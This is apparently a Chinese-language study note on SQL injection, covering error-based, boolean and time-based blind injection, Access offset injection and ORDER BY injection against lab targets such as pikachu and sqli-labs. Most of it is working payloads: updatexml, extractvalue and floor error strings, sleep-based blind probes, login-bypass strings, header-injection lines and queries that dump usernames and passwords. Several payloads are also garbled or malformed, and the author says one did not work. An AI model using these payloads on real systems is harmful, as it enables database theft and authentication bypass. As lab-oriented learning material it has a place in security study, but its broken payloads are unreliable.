WEB漏洞—查询方式及报错盲注

WEB漏洞—查询方式及报错盲注

当进行SQL注入时候,有很多注入会出现无回显的情况,其中不回显的原因可能是SQL语句查询方式的问题导致,这个时候我们需要用到相关的报错或者盲注进行后续操作。同时作为手工注入时,提前了解或预知其SQL语句大概写法也能更好的选择对应的注入语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
常用sql语句
select 查询数据

在网站应用中进行数据显示查询效果
例: select * from news wher id=$id

insert 插入数据
在网站应用中进行用户注册添加等操作
例:insert into news(id,url,text) values(2,‘x’,’$t’)


delete 删除数据
后台管理里面删除文章删除用户等操作
例:delete from news where id=$id


update 更新数据
会员或后台中心数据同步或缓存等操作
例:update user set pwd=’$p’ where id=2 and username=‘admin’


order by 排列数据
一般结合表名或列名进行数据排序操作
例:select * from news order by $id
例:select id,name,price from news order by $order

重点理解:
我们可以通过以上查询方式与网站应用的关系
注入点产生地方或应用猜测到对方的SQL查询方式

举个例子来说

delete 删除数据

这种情况一般出现在,留言区之类的地方,可以删除自己的留言之类的

update 更新数据

一般出现在个人资料之类的地方,可以更改自己的资料,头像,姓名,密码之类的【个人理解】

Snipaste_2022-04-29_17-05-00

插入insert

一般网站有一个 ”注册用户“ 的功能,那么这个对应的就是插入的SQL语句的写法,那么我们在对这个地方进行注入的时候,就要从这插入的SQL语句进行入手。

重点理解:网站出现的对应的功能,那么这个功能对应的查询方式需要清楚

Snipaste_2022-04-29_19-52-13

这几个位置都会接收我们传过去的数值,正常都可以作为注入点,只要可以对测试代码作出反应就可以。

盲注就是在注入的过程中,获取的数据不能回显至前端页面,此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注,我们可以知道盲注分为以下三类:

基于布尔的sql盲注–逻辑判断

regexp,like,ascii,left,ord,mid

基于时间的SQL盲注–延时判断

if,sleep

基于报错的SQL盲注–报错回显

floor,updatexml,extractvalue

优先选择:报错回显,其次是逻辑判断, 最后是延时判断【因为报错回显是最快的,逻辑判断有点复杂,延时判断最慢的】

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
Payload:
pikachu insert
username=x' or(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e)))
from information_schema.tableslimit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
or '&password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=submit
#这个payload我用了好像不行

username=x' or updatexml(1,concat(0x7e,(version())),0) or
'&password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=submit

username=x' or extractvalue(1,concat(0x7e,database())) or
'&password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=submit


#类似这种【0x7e的这个其实就是一个波浪线,为什么需要其实就是为了在注入的时候,让你想要的数据更加显眼,容易找到,还有一个重要的原因就是用工具进行注入的时候,可以把这个作为一个标识符,让工具识别】


pikachu update
sex=%E7%94%B7&phonenum=13878787788&add=hubeNicky' or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a) or '&email=wuhan&submit=submit

sex=%E7%94%B7&phonenum=13878787788&add=hubeNicky' or updatexml(1,concat(0x7e,(version())),0) or '&email=wuhan&submit=submit

sex=%E7%94%B7&phonenum=13878787788&add=Nicky' or extractvalue(1,concat(0x7e,database())) or '&email=wuhan&submit=submit


pikachu delete
/pikachu/vul/sqli/sqli_del.php?id=56+or+(select+1+from(select+count(*),concat(floor(rand(0)*2),0x7e,(database()),0x7e)x+from+information_schema.character_sets+group+by+x)a)

pikachu/vul/sqli/sqli_del.php?id=56+or+updatexml+(1,concat(0x7e,database()),0)

/pikachu/vul/sqli/sqli_del.php?id=56+or+extractvalue(1,concat(0x7e,database()))

报错回显

为什么要用到盲注,因为有的时候执行SQL语句的时候,只会有系统提示,告诉你命令是否执行成功,不像查询语句是会有返回结果的,这是第一个原因,还有一个就是网站开发者,没有将这个网站的数据回显,所以就也不会有回显

Snipaste_2022-04-29_20-30-51

修改个人信息【update 更新数据】

Snipaste_2022-04-29_20-39-30

这里同样这里四个输入框都可以进行注入。有几个需要注意的点,比如说这个性别一般来说应该是字符型,然后是手机号一般是数字型,那么在进行注入的时候需要注意,单引号闭合的问题。

然后用payload进行注入

删除【delete 删除数据

Snipaste_2022-04-29_20-48-29

Snipaste_2022-04-29_20-50-52

延时注入

1
2
3
4
5
6
7
8
9
10
11
12
13
Mysql的if既可以作为表达式用,也可在存储过程中作为流程控制语句使用
IF表达式
IF(expr1,expr2,expr3)

如果 expr1 是TRUE (expr1 <> 0 and expr1 <> NULL),则 IF()的返回值为expr2; 否则返回值则为 expr3。IF() 的返回值为数字值或字符串值,具体情况视其所在语境而定。

select *,if(sva=1,"男","女") as ssva from taname where sva != ""

作为表达式的if也可以用CASE when来实现:

select CASE sva WHEN 1 THEN '男' ELSE '女' END as ssva from taname where sva != ''

在第一个方案的返回结果中, value=compare-value。而第二个方案的返回结果是第一种情况的真实结果。如果没有匹配的结果值,则返回结果为ELSE后的结果,如果没有ELSE 部分,则返回值为 NULL。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
例如:

SELECT CASE 1 WHEN 1 THEN 'one'
WHEN 2 THEN 'two'
ELSE 'more' END
as testCol

将输出one

IFNULL(expr1,expr2)

假如expr1 不为 NULL,则 IFNULL() 的返回值为 expr1; 否则其返回值为 expr2。IFNULL()的返回值是数字或是字符串,具体情况取决于其所使用的语境。

mysql> SELECT IFNULL(1,0);
-> 1

mysql> SELECT IFNULL(NULL,10);
-> 10

mysql> SELECT IFNULL(1/0,10);
-> 10

mysql> SELECT IFNULL(1/0,'yes');
-> 'yes'

IFNULL(expr1,expr2) 的默认结果值为两个表达式中更加“通用”的一个,顺序为STRING、 REAL或 INTEGER。

Snipaste_2022-04-29_20-58-25

跟编程语言中的三目运算符一模一样,就是说如果database()= a这个条件成立那么就执行123,不成立执行456

Snipaste_2022-04-29_20-59-34

Snipaste_2022-04-29_21-00-24

if和sleep的联合

这个语句的意思:如果database() = a的话那么就延时1秒,不是的话就延时0秒

Snipaste_2022-04-29_21-07-35

这里确实是延时了5秒,但是你数的时候绝对不是5秒,因为除开延时函数的5秒,还有网络传输的原因等等,会影响这个时间,毕竟不是本地数据库中直接执行这个语句,这个也是不推荐延时注入的原因,太过于耗时间了

那么问题来了,数据库名这么多,有4,5个的10个字符的都可能有,那么怎么搞?难道要一个一个进行爆破吗?

解决方案:

1、先判断目标网站的数据名的长度,那么这个时候的工作量就会大大减少【如果你输入的长度正确就会延时5秒,不是就不延时,也就是延时0秒】

2、然后是一个一个字符的去猜,而这个无非就是26个英文字母吗,因为数据库名不会有一些特殊符号在这个里面。

3、虽然有上面的方法,但是如果是真正的去手工操作的话,肯定是非常慢的,那么就需要借助一些工具或者脚本来代替我们去完成这些工作

1
2
3
4
5
6
7
8
9
10
参考:
like 'ro%' #判断ro或ro.. .是否成立
regexp '^xiaodi[a-z]' #匹配xiaodi及xiaodi...等
if(条件,5,0) #条件成立返回5反之返回0
sleep(5) #sQI语句延时执行5秒
mid(a,b,c) #从位置b开始,截取a字符串的c位,注意:索引从0开始
substr(a,b,c) #从b位置开始,截取字符串a的c长度
left(database(),1),database() #left(a,b)从左侧截取a的前b位
length(database())=8 #判断数据库database ()名的长度
ord=ascii ascii(x)=97 #判断x的asci i码是否等于97

ascii码放在最后,为什么要用这个呢?这个用在脚本上只需要对这个ascii对应的数字遍历一遍就可以,跑遍所有字符,从开发层面来说要简单很多,还有一个好处是防止转义。

那么我在进行表名的猜测的时候,我该怎么办呢?那么下面两个paylaod就有作用了,关键的就是limit,简要说说limit的作用

limit:返回N条记录,这里limit的索引是从0开始的,如果是(0,1)也就是返回第一条记录,以此类推。。。

1
2
3
4
延时盲注:利用 and 链接正确语句,让if判断脚本对错,两个联合起来再通过时间来给出反馈,判断脚本是否执行正确。
and if(ascii(substr(database(),1,1))=115,sleep(5),1)--+
and if(ascii(substr((select table_name from information_schema.tables where table_schema=database()
limit 0,1),1,1))=101,sleep(3),0)--+

这里解释第二个payload:查询来自information_schema.tables下面的table_name【也就是所有表名】,limit的索引是从0开始,然后截取一位,substr(a,b,c) #从b位置开始,截取字符串a的c长度,也就是从1开始,截取a这个判断之后的字符串的c的长度,这个c这里写的是1,所以就是判断1,因为limit截取的也是1,所以这里c截取a的1位长度恒成立。所以就是如果limit为真【就是返回的第一个记录的第一个字符的ascii码的对应值是不是等于101,如果是就是真】,那么就延时3秒,不对就是不延时,也就是延时0秒

布尔盲注

基于布尔型SQL盲注即在SQL注入过程中,应用程序仅仅返回True(页面)和False(页面)。 这时,我们无法根据应用程序的返回页面得到我们需要的数据库信息。但是可以通过构造逻辑判断(比较大小)来得到我们需要的信息。

Snipaste_2022-04-29_22-13-27

这个就是用left这个函数来判断目标网站的数据库的版本的第一个值是不是等于5

个人认为:布尔盲注一般是配合延时注入一起使用的。两个原理感觉都一样,只不过是表达的方式不同,布尔盲注,是通过一些函数来判断或者说是来猜目标网站的值,而延时注入则是通过sleep来判断目标网站的值,只不过这个是通过时间的长短来进行判断

上节课的补充知识点(链接:https://www.cnblogs.com/awrrays/p/11285262.html)

Access偏移注入:解决列名获取不到的情况 查看登陆框源代码的表单值或观察URL特征等也可以针对表或列获取不到的情况

偏移注入的前提:

  猜出表名,且知道一个或多个字段。(access)

 如果当前注入点的脚本内查询的表内的字段数较多,而管理表内字段较少,这样我们成功率会更高。意思就是管理表字段越少越好,最好只有id,username,password三个字段。

 下面我本地搭个环境来演示:

  目标站:192.168.17.128/0

1711454-20190801201719269-1511163097

这里是注入点。http://192.168.17.128/0/Production/PRODUCT_DETAIL.asp?id=1513

1711454-20190801201806024-1929209705

当前注入点字段数22,管理表名admin,下面直接联合查询爆显位。

1711454-20190801202137217-562990444

3和15为显位,这时候我们跑不出字段,选择偏移注入。

判断管理表内存在的字段数。

1
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,* from admin

1711454-20190801202340004-199057955

继续,直到返回正常。

1
2
3
4
5
6
7
8
9
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,,* from admin

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,,* from admin

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from admin

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,,* from admin

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,,* from admin

到16返回正常,那么我们此时得出admin表下有6个字段。(字段数-返回正常字段数  22-16=6)

1711454-20190801202746182-677542656

这里要说一下”admin as a inner join admin as b on a.id=b.id”的意思,下面要用到,把admin表命名a表,b表,打印a.id=b.id的所有行。这里是admin表的自连接,admin为表名, id为字段(可以是其他已知字段)。

偏移注入的基本公式为:order by 出的字段数-号的字段数x2。这里是22-62=10,那么开始构造payload,

1
union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id=b.id)

1711454-20190801203439649-1943141243

这里偏移到了管理员创建时间这个字段了(我也猜的,反正不是我们要的),然后下面就要利用到隐性显位了,我们可以”查看网页源代码”。

1711454-20190801203707331-1791683415

可以看到密码了,心情逐渐忐忑…哈哈。

这时候已经得到了密码,却没有账号怎么办,我们只需要把它打乱就可以,这样信息重组,很有可能会把管理员账号给爆出来。在字段后面插个a.id,b.id,

1
union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,* from (admin as a inner join admin b on a.id=b.id)

或者只加a.id也可以打乱信息组合,

1
union select 1,2,3,4,5,6,7,8,9,10,a.id,* from (admin as a inner join admin b on a.id=b.id)

1711454-20190801204355679-817527528

这样经过了两次偏移我们得到了管理员账号密码。不过这里只是一级偏移,在字段足够多的时候,我们可以多级偏移,成功率会高很多,

这个时候我们再去掉6个字段(管理表下的字段数),增加c.id代替字段重新打乱组合,

1
union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as bon a.id=b.id) inner join admin as c on a.id=c.id)

1711454-20190801204819377-1461387753

1711454-20190801204844380-495870318

这次隐性显位一次性爆出了管理账号密码,啧啧,这时候也解释了前面为什么说当前注入点的脚本内查询的表内的字段数较多,而管理表内字段较少,成功率会更高了。

PS:偏移注入只适用于access数据库。

1
https://www.cnblogs.com/02SWD/p/15811580.html

参考文档

12种报错注入+万能语句(链接:https://www.jianshu.com/p/bc35f8dd4f7c)

1、通过floor报错,注入语句如下:
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2、通过ExtractValue报错,注入语句如下:
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

3、通过UpdateXml报错,注入语句如下:
and 1=(updatexml(1,concat(0x3a,(select user())),1))

4、通过NAME_CONST报错,注入语句如下:
and exists(selectfrom (selectfrom(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)

5、通过join报错,注入语句如下:
select * from(select * from mysql.user ajoin mysql.user b)c;

6、通过exp报错,注入语句如下:
and exp(~(select * from (select user () ) a) );

7、通过GeometryCollection()报错,注入语句如下:
and GeometryCollection(()select *from(select user () )a)b );

8、通过polygon ()报错,注入语句如下:
and polygon (()select * from(select user ())a)b );

9、通过multipoint ()报错,注入语句如下:
and multipoint (()select * from(select user() )a)b );

10、通过multlinestring ()报错,注入语句如下:
and multlinestring (()select * from(selectuser () )a)b );

11、通过multpolygon ()报错,注入语句如下:
and multpolygon (()select * from(selectuser () )a)b );

12、通过linestring ()报错,注入语句如下:
and linestring (()select * from(select user() )a)b );

关于POST注入

常用的万能username语句:
a ’ or 1=1 #
a “) or 1=1 #
a‘) or 1=1 #
a” or “1”=”1
‘ or ‘1’=’1
‘ or (length(database())) = 8 (用于输入’ “都没有错误)
‘ or (ascii(substr((select database()) ,1,1))) = 115 # (用于输入’ “都没有错误)
“) or (“1”)=(“1
“) or 1=1 or if(1=1, sleep(1), null) #
“) or (length(database())) = 8 #
“) or (ascii(substr((select database()) ,1,1))) = 115 or if(1=1, sleep(1), null) #

post型盲注通杀payload:

uname=admin%df’or()or%200%23&passwd=&submit=Submit

关于UPDATEXML,REFERER,COOKIE的构造

User-Agent:………' or updatexml(1,concat(0x7e,database(),0x7e),1),”,”) #
Referer: ’ or updatexml(1,concat(0x7e,database(),0x7e),1),”,”) #
Cookie:username: admin ’ or updatexml(1,concat(0x7e,database(),0x7e),1) #

updatexml报错注入

爆数据库版本信息:?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
链接用户:?id=1 and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)
链接数据库:?id=1 and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)
爆库:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select schema_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆表:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select table_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆字段:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select column_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆字段内容:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)

Order by排序注入方法小总结(链接:https://www.jianshu.com/p/fcae21926e5c)

注入方法介绍

当页面出现mysql报错信息时,注入点在 order by后面,此时可以利用报错信息进行注入。

  • 正常语句
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
mysql> select * from users order by id;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+
13 rows in set (0.00 sec)

mysql> select * from users order by id desc;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 14 | admin4 | admin4 |
| 12 | dhakkan | dumbo |
| 11 | admin3 | admin3 |
| 10 | admin2 | admin2 |
| 9 | admin1 | admin1 |
| 8 | admin | admin |
| 7 | batman | mob!le |
| 6 | superman | genious |
| 5 | stupid | stupidity |
| 4 | secure | crappy |
| 3 | Dummy | p@ssword |
| 2 | Angelina | I-kill-you |
| 1 | Dumb | Dumb |
+----+----------+------------+
13 rows in set (0.00 sec)

mysql>

其中select * from users order by id desc;desc是可控的传参值。


order by 与报错注入
  • 下面进行报错注入
    • 首先获取基本一些基本信息总结
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select database())),0));
ERROR 1105 (HY000): XPATH syntax error: '~security' //获取当前数据库
mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select version())),0));
ERROR 1105 (HY000): XPATH syntax error: '~5.5.53' //获取数据库版本
mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select user())),0));
ERROR 1105 (HY000): XPATH syntax error: '~root@localhost' //获取用户
mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select @@datadir)),0));
ERROR 1105 (HY000): XPATH syntax error: '~E:\soft\phpmystudy\MySQL\data\' //获取数据库路径
mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select @@version_compile_os)),0));
ERROR 1105 (HY000): XPATH syntax error: '~Win32' //获取操作系统
mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select @@basedir)),0));
ERROR 1105 (HY000): XPATH syntax error: '~E:/soft/phpmystudy/MySQL/' //mysql安装路径
mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select session_user())),0));
ERROR 1105 (HY000): XPATH syntax error: '~root@localhost' //获取连接数据库的用户名
mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select current_user())),0));
ERROR 1105 (HY000): XPATH syntax error: '~root@localhost' //获取当前用户名
mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select system_user())),0));
ERROR 1105 (HY000): XPATH syntax error: '~root@localhost' //获取系统用户名
mysql>

img

图片.png

  • 获取数据信息

获取数据库个数

1
2
3
4
5
6
7
mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select count(*) from information_schema.schemata)),0));
ERROR 1105 (HY000): XPATH syntax error: '~11'
mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select count(schema_name) from information_schema.schemata)),0));
ERROR 1105 (HY000): XPATH syntax error: '~11'
mysql>

注:count(*)是对结果函数统计,而count(schema_name)则是对不为空的行数结果进行统计

获取数据库列表信息

1
2
3
4
5
6
7
mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),0));
ERROR 1105 (HY000): XPATH syntax error: '~information_schema'
mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 1,1)),0));
ERROR 1105 (HY000): XPATH syntax error: '~challenges'
mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 2,1)),0));
ERROR 1105 (HY000): XPATH syntax error: '~dvwa'
mysql>

注: 这里使用limit逐条获取,为什么这样呢?因为我发现使用group_concat()批量查询输出结果长度有限制,因此需要这样一条一条获取了,当然数据多的时候就要简单写个python脚本跑了

  • 获取某数据库表信息

获取表个数
payload:

1
and(updatexml(1,concat(0x7e,(select count(*) from information_schema.tables where table_schema = "数据库名")),0))
1
2
3
4
5
mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select count(*) from information_schema.tables where table_schema = "security")),0));
ERROR 1105 (HY000): XPATH syntax error: '~4'
mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select count(table_name) from information_schema.tables where table_schema = "security")),0));
ERROR 1105 (HY000): XPATH syntax error: '~4'
mysql>

获取表名
payload:

1
and(updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = "数据库名")),0))
1
2
3
4
5
6
7
8
9
mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = "security")),0));
ERROR 1105 (HY000): XPATH syntax error: '~emails,referers,uagents,users'
mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = "security" limit 0,1)),0));
ERROR 1105 (HY000): XPATH syntax error: '~emails'
mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = "security" limit 1,1)),0));
ERROR 1105 (HY000): XPATH syntax error: '~referers'
mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = "security" limit 2,1)),0));
ERROR 1105 (HY000): XPATH syntax error: '~uagents'
mysql>
  • 获取某数据库中某个表字段信息

字段个数
payload:

1
and (updatexml(1,concat(0x7e,(select count(*) from information_schema.columns where table_schema = "数据库名" and table_name = "表名")),0))
1
2
3
4
5
mysql> select * from users order by id and (updatexml(1,concat(0x7e,(select count(*) from information_schema.columns where table_schema = "security" and table_name = "users")),0));
ERROR 1105 (HY000): XPATH syntax error: '~3'
mysql> select * from users order by id and (updatexml(1,concat(0x7e,(select count(column_name) from information_schema.columns where table_schema = "security" and table_name = "users")),0));
ERROR 1105 (HY000): XPATH syntax error: '~3'
mysql>

获取字段名,字段多的需要单条获取
payload:

1
and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = "数据库名" and table_name = "表名")),0))
1
2
3
4
5
6
7
8
9
mysql> select * from users order by id and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = "security" and table_name = "users")),0));
ERROR 1105 (HY000): XPATH syntax error: '~id,username,password'
mysql> select * from users order by id and (updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema = "security" and table_name = "users" limit 0,1)),0));
ERROR 1105 (HY000): XPATH syntax error: '~id'
mysql> select * from users order by id and (updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema = "security" and table_name = "users" limit 1,1)),0));
ERROR 1105 (HY000): XPATH syntax error: '~username'
mysql> select * from users order by id and (updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema = "security" and table_name = "users" limit 2,1)),0));
ERROR 1105 (HY000): XPATH syntax error: '~password'
mysql>
  • 最后获取想要的信息就简单了
1
2
3
4
5
6
7
mysql> select * from users order by id and (updatexml(1,concat(0x7e,(select username,password from users limit 0,1)),0));
ERROR 1241 (21000): Operand should contain 1 column(s)
mysql> select * from users order by id and (updatexml(1,concat(0x7e,(select username from users limit 0,1)),0));
ERROR 1105 (HY000): XPATH syntax error: '~Dumb'
mysql> select * from users order by id and (updatexml(1,concat(0x7e,(select password from users limit 0,1)),0));
ERROR 1105 (HY000): XPATH syntax error: '~Dumb'
mysql>

经测试,貌似只能指定获取一个字段信息


order by 与盲注

当页面没有展示MYSQL的错误信息时,且只能根据页面回显的状态进行判断时,可以使用布尔盲注

  • 简单看两条语句
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
mysql> select * from users order by id ^(select(select version()) regexp '^aaaa');
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+
13 rows in set (0.00 sec)

mysql> select * from users order by id ^(select(select version()) regexp '^5');
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 3 | Dummy | p@ssword |
| 2 | Angelina | I-kill-you |
| 5 | stupid | stupidity |
| 4 | secure | crappy |
| 7 | batman | mob!le |
| 6 | superman | genious |
| 9 | admin1 | admin1 |
| 8 | admin | admin |
| 11 | admin3 | admin3 |
| 10 | admin2 | admin2 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+
13 rows in set (0.00 sec)

mysql>

img

图片.png

简单解释一下就是在regexp正则匹配的时候,如果匹配到数据返回1(00000001)的时候,此时的1会和id中的数据的二进制进行异或,按照异或的结果进行升序排列,所以显示的排列会发生变化;反之当进行正则匹配的时候,未匹配到数据返回0(00000000),此时数字和0异或的结果还是本身,所以显示的排列不会发生改变。

总结:当页面排序紊乱时则说明正则匹配到正确数据,页面排序未发生紊乱时则说明正则没有匹配到数据

通过以上可以判断数据库版本在5以上,这里的'^5'也可以转换成^5的十六进制

order by 与 union 联合查询

  • $query = "select * from users order by id $input ";没有使用括号包裹的时候,是无法直接使用union查询的。
  • $query = "(select * from users order by id $input) ";使用括号进行包裹的时候,此时是可以进行union查询的。
  • 获取版本号
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
mysql> (select * from users order by id ) union(select 1,(version()),3);
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
| 1 | 5.5.53 | 3 |
+----+----------+------------+
14 rows in set (0.00 sec)

mysql>

img

图片.png

  • 其他就不一一截图了,查询语句格式如下:
1
2
(select * from users order by id ) union(select 1,(payload),3);
数据库信息payload:
1
2
3
4
5
6
7
8
9
database()               //获取当前数据库
version() //获取数据库版本
user() //获取用户
@@datadir //获取数据库路径
@@version_compile_os //获取操作系统
@@basedir //mysql安装路径
session_user() //获取连接数据库的用户名
current_user() //获取当前用户名
system_user() //获取系统用户名

表信息payload: 同上,不再重复!

参考:
https://www.freebuf.com/column/145988.html

https://www.anquanke.com/post/id/158674

Ascii码

ASCII 码 字符 ASCII 码 字符 ASCII 码 字符 ASCII 码 字符
十进位 十六进位 十进位 十六进位 十进位 十六进位 十进位 十六进位
032 20 056 38 8 080 50 P 104 68 h
033 21 ! 057 39 9 081 51 Q 105 69 i
034 22 058 3A : 082 52 R 106 6A j
035 23 # 059 3B ; 083 53 S 107 6B k
036 24 $ 060 3C < 084 54 T 108 6C l
037 25 % 061 3D = 085 55 U 109 6D m
038 26 & 062 3E > 086 56 V 110 6E n
039 27 063 3F ? 087 57 W 111 6F o
040 28 ( 064 40 @ 088 58 X 112 70 p
041 29 ) 065 41 A 089 59 Y 113 71 q
042 2A * 066 42 B 090 5A Z 114 72 r
043 2B + 067 43 C 091 5B [ 115 73 s
044 2C , 068 44 D 092 5C \ 116 74 t
045 2D - 069 45 E 093 5D ] 117 75 u
046 2E . 070 46 F 094 5E ^ 118 76 v
047 2F / 071 47 G 095 5F _ 119 77 w
048 30 0 072 48 H 096 60 ` 120 78 x
049 31 1 073 49 I 097 61 a 121 79 y
050 32 2 074 4A J 098 62 b 122 7A z
051 33 3 075 4B K 099 63 c 123 7B {
052 34 4 076 4C L 100 64 d 124 7C |
053 35 5 077 4D M 101 65 e 125 7D }
054 36 6 078 4E N 102 66 f 126 7E ~
055 37 7 079 4F O 103 67 g 127 7F DEL

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#判断当前数据库长度
?id=12' and (select length(database())>5) --+
#判断当前数据库名
?id=12' and (select ascii(substr(database(),1,1))>=97) --+
#判断第一个表的表长度
?id=12' and (select length(table_name)>5 from information_schema.tables where table_schema=database() limit 0,1) --+
#判断第二个表名
?id=12' and (select ascii(substr(table_name,1,1))>97 from information_schema.tables where table_schema=database() limit 1,1) --+
#判断users表的第一个字段长度
?id=12' and (select length(column_name)>1 from information_schema.columns where table_schema=database() and table_name='users' limit 0,1) --+
#判断users表的第一个字段名
?id=12' and (select ascii(substr(column_name,1,1))>65 from information_schema.columns where table_schema=database() and table_name='users' limit 0,1) --+
#判断username列的第一条数据长度
?id=12' and (select length(username)>1 from users limit 0,1) --+
#判断username列的第一条数据
?id=12' and (select ascii(substr(username,1,1))>=65 from users limit 0,1) --+